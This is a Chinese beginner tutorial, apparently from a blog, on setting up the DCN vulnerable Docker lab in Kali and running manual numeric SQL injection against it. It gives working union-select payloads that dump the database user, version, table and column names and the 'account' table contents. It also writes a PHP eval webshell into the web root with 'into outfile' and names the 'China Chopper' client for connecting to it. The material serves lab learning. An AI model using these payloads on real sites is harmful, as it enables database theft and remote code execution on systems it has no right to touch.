很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案。

Docker是近几年来十分流行的开源容器引擎,开发者可以打包自己的应用到容器里面,然后迁移到其他机器的Docker应用中,实现快速部署。

环境搭建

首先,在kali中搭建这个DCN靶机系统,进入kali、打开终端、在终端里输入:

1、apt-get install docker

2、apt-get install docker.io

PS:如果出现“找不到软件包”错误,请检查你的kali是不是更新过的。

然后启动Docker服务:

1、service docker start

查看Docker服务运行状态:

1、service docker status

PS:一般此时的状态会很显眼的显示一个绿色的【active(running)】。

接着是要把Docker镜像上传到kali里面,导入镜像:

1、docker load < dcn_web_test.tar

2、docker load < dcn_upload.tar

这里导入的时候可能要花一段时间。

接着可以看一下Docker 镜像:

1、docker images

这里我们会发现REPOSITORY 和 TAG下面都显示“<none>”,我们来修改一下对应值:

1、docker tag [你的IMAGE ID] dcn_web_test:V 1.0

2、docker tag [你的IMAGE ID] dcn_upload:V 1.0

完成这些之后,就可以启动了!

启动:

1、docker run -itd -p 8888:80 dcn_web_test:V 1.0

容器运行之后,直接访问kali的IP地址,我的kali地址是192.168.10.100:

1、http://192.168.10.100:8888/

之后可以看到我们的靶机分为七个模块,包含了常见的Web漏洞。

接下来要展示的是:SQLi数值型注入。

示例演示

目标:获得所有的数据库信息和数据表信息,甚至提权、上传一句话木马等。

1)尝试输入数字1,submit提交,有结果输出:

2)输入数字2,submit提交,有结果输出:

3)输入数字3,submit提交:

 
SQL查询语法正确,但查询结果为空,无内容显示,由此可以判断,该数据表至少存在2行数据,且id为3时,查询结果为空。

4)判断是否存在注入:输入:3 or 1=1,submit:

显示了一行数据,说明存在注入漏洞。另外,通过前面的测试,得知数据表至少存在两行数据,此处注入成功后,查询结果集中,应该存在至少2行数据,但前端页面只显示了一行结果,由此猜测后端php程序对查询结果集的输出做了处理,即只输出查询结果集中的第一行数据发送到前端页面。

5)继续使用order by猜测有多少列

输入:3 or 1=1 order by 1 desc,表示对select查询结果集,按照第1列值降序排列,不加desc,默认按升序排列。

输入:3 or 1=1 order by 4 desc

有错误提示,第4列不存在,那么继续尝试按第3列排序,降序或升序都可以。

上图有结果显示,说明该数据表一共有3列,后端php程序对输出结果集做了处理,所以前端页面只显示两列数据。另外,需要注意的是,前端页面上显示的列标题,不一定就是数据表真正的列标题。

6)尝试通过union猜测显示的列

输入:1 union select 1,2,3,submit提交:

使用union关键字的目的,是为了输出想要的重要信息,但是由于php后端程序的处理,前端页面只显示结果集中的第一行,如果所给的id数字正确,那么union之后的select的结果集不会显示在前端页面,那么想要的重要信息也不会显示在前端页面。解决方法有两种:一种是union结合order by,如输入 1 union select 3,2,1 order by 1 desc,结果如图:

第二种是使用错误的id,如id为3,输入 3 union select 1,2,3,结果如下图:

两种方法都可以显示第二个select的输出结果,综合对比,第二种方法更加简洁一些,且显示输出的分别是第2列和第3列,那么接下来就尝试获取重要信息显示到第2列或第3列。

7)通过union select获取当前数据库用户和版本号,显示在第2列

输入:3 union select 1,user( ),3,submit提交

显示的用户是root,即当前php后台程序连接Mysql的身份是root

输入:3 union select 1,version( ),3,submit提交

上图显示了Mysql数据库管理系统的版本号,大于5.0以上,可以直接使用information_schema去“爆库”。

8)通过union select获取当前数据中所有的数据表,显示在第2列一个单元格中

输入:

3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database( ),submit提交。

group_concat( )函数,将当前列的所有结果连接到一起,放到一个单元格中;information_schema,是系统数据库,类似于SQL Server中的Master数据库,如下图所示:

information_schema.tables,其中tables是information_schema数据库中的一个数据表,存储了mysql中所有的数据表名称,如下图:

table_schema,是tables表中的列名称;database( )函数,表示当前数据库,如下图:

Submit提交的结果如下图:

由图可知,当前数据库包含了两个数据表,分别是“account”和“news”。

9)通过union select获取已知数据表的所有列名称,显示在第2列一个单元格中,例如输入:

3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

10)通过union select获取已知数据表的已知列的所有内容,显示在第2列和第3列的两个单元格中。

例如获取account表格的id列和rest列的所有内容,输入:

3 union select 1,group_concat(id),group_concat(rest) from account

例如获取account表格的rest列和own列的所有内容,输入:

3 union select 1,group_concat(rest),group_concat(own) from account

例如获取news表格的id列和title列的所有内容,输入:

3 union select 1,group_concat(id),group_concat(title) from news

例如获取news表格的title列和content列的所有内容,输入:

3 union select 1,group_concat(title),group_concat(content) from news

11)尝试通过union select写入一句话木马到站点目录

输入:

3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/ttt1.php'

错误提示如下:

这种错误,一般是由于当前Mysql服务的Linux用户不具备对该目录的写入权限导致。

如何查看当前Mysql服务进程所属用户?

假设可以登录Linux控制台,进入Docker容器的系统环境:

输入 ps -aux ,截图如下:

从图中可以看出,Mysql服务进程为Mysqld,其用户为Mysql。

查看站点目录的权限:

站点目录默认一般为 /var/www/html ,查看html目录的权限如下:cd /var/www

ls -l -d html ,截图如下:

html目录为一个链接,真实的站点目录为 /app ,继续查看app目录的权限:

由上图可以看出,/app目录所属的用户和组为www-data,且只有www-data用户具备rwx权限,可以写入文件,而mysql服务进程的用户为Mysql,通过select的方式向 /app 目录写入文件失败,没有权限。

假设存在一个站点子目录,任何用户都具备写入权限,那么情况会怎样呢?

上图,在站点根目录下创建了一个子目录为 test-sql,且修改权限为“777”,既任意用户都具备对该目录的写入权限。

接下来继续测试通过select方式写入一句话木马文件:

输入:

3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/test-sql/ttt1.php'

submit提交,截图如下:

注意,一句话木马的内容为:<?php eval($_POST[dcn]);?>

在Linux控制台中可以看到成功写入的一句话木马php文件:

12)通过“中国菜刀”连接写入的一句话木马文件

注意事项:

如果没有提供输入框和submit,那么如何实现注入?

如果是get方式提交请求,那么可以直接在URL中实现注入,如:

http://192.168.7.61:8888/sql_injection/sql_num.php?id=3+union+select+1%2Cversion%28%29%2C3&submit=submit

直接修改“?”号后面的内容即可,空格符在URL中用“+”号表示,逗号在URL中用“%2C”表示,左括号“(”在URL中用“%28”表示,右括号“)”在URL中用“%29”表示。

这样一次SQL手工注入并连接shell就完成了,大家看懂了吗?

【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入的更多相关文章

  1. 一次简单的SQL手工注入

    1. 首先要了解SQL注入的原理:   SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 具体来说,它是利 ...

  2. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  3. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  4. SQL手工注入漏洞测试(Sql Server数据库)

    还是先找到注入点,然后order by找出字段数:4 通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段. ...

  5. iOS开发网络篇—搭建本地服务器

    iOS开发网络篇—搭建本地服务器 一.简单说明 说明:提前下载好相关软件,且安装目录最好安装在全英文路径下.如果路径有中文名,那么可能会出现一些莫名其妙的问题. 提示:提前准备好的软件 apache- ...

  6. 实验吧简单的SQL注入1,简单的SQL注入

    接上面一篇博客. 实验吧简单的sql注入1 题目连接   http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误,            ...

  7. kali docker简单使用-vulhub搭建fastjson漏洞环境

    准备环境 安装kali和docker参考: https://www.cnblogs.com/lijingrong/p/13396884.html sudo service docker start / ...

  8. iOS开发UI篇—iOS开发中三种简单的动画设置

    iOS开发UI篇—iOS开发中三种简单的动画设置 [在ios开发中,动画是廉价的] 一.首尾式动画 代码示例: // beginAnimations表示此后的代码要“参与到”动画中 [UIView b ...

  9. iOS开发UI篇—多控制器和导航控制器简单介绍

    iOS开发UI篇—多控制器和导航控制器简单介绍 一.多控制器 一个iOS的app很少只由一个控制器组成,除非这个app极其简单.当app中有多个控制器的时候,我们就需要对这些控制器进行管理 有多个vi ...

随机推荐

  1. 微信小程序 + Bmob后端云

    闲暇之余,写了一个私人的小程序,但由于带有商品.订单功能被拒了(腾讯太狗带了,只有商家才可以使用这种功能),没办法,不给过审,那就拿出来分享一下. 原本想的是做一个超市类的电商平台,带有下单支付等功能 ...

  2. 免sdk实现微信/支付宝转账打赏功能

    版权声明:本文为xing_star原创文章,转载请注明出处! 本文同步自http://javaexception.com/archives/162 近期发现了一个很好的开源项目,可以给自己的app添加 ...

  3. webUploader上传大视频文件相关web.config配置

    在webuploader上传大文件时必须配置一下,不然请求后台处理程序时,会请求超时.出现404! <system.web> <httpRuntime maxRequestLengt ...

  4. 027.[转] 理解OAuth 2.0

    作者: 阮一峰 日期: 2014年5月12日 http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html OAuth是一个关于授权(authorizat ...

  5. [Flink]测试用的fake温度传感器

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  6. JavaScript判断是否是数字

    JavaScript判断是否是数字的几种方法 isNaN() /** * 判断是否是数字 */ function isNumber(value){ if(isNaN(value)){ return f ...

  7. 5-7 可视化库Seaborn-热度图绘制

    In [1]: %matplotlib inline import numpy as np import matplotlib.pyplot as plt import seaborn as sns ...

  8. Shell类

    70个经典的 Shell 脚本面试问题   1) 如何向脚本传递参数 ? ./script argument 例子: 显示文件名称脚本 ./show.sh file1.txt cat show.sh ...

  9. 201871010111-刘佳华《面向对象程序设计(java)》第十三周学习总结

    201871010111-刘佳华<面向对象程序设计(java)>第十三周学习总结 实验十一 图形界面事件处理技术 实验时间 2019-11-22 第一部分:理论知识总结 1.事件源:能够产 ...

  10. Appium 解决微信公众号、小程序切换 webview 后无法定位元素的问题

    如何切换webview进入小程序请参考https://testerhome.com/topics/12003 脚本思路:进入webview后会存在多个handle同Web页签一样,获取所有的handl ...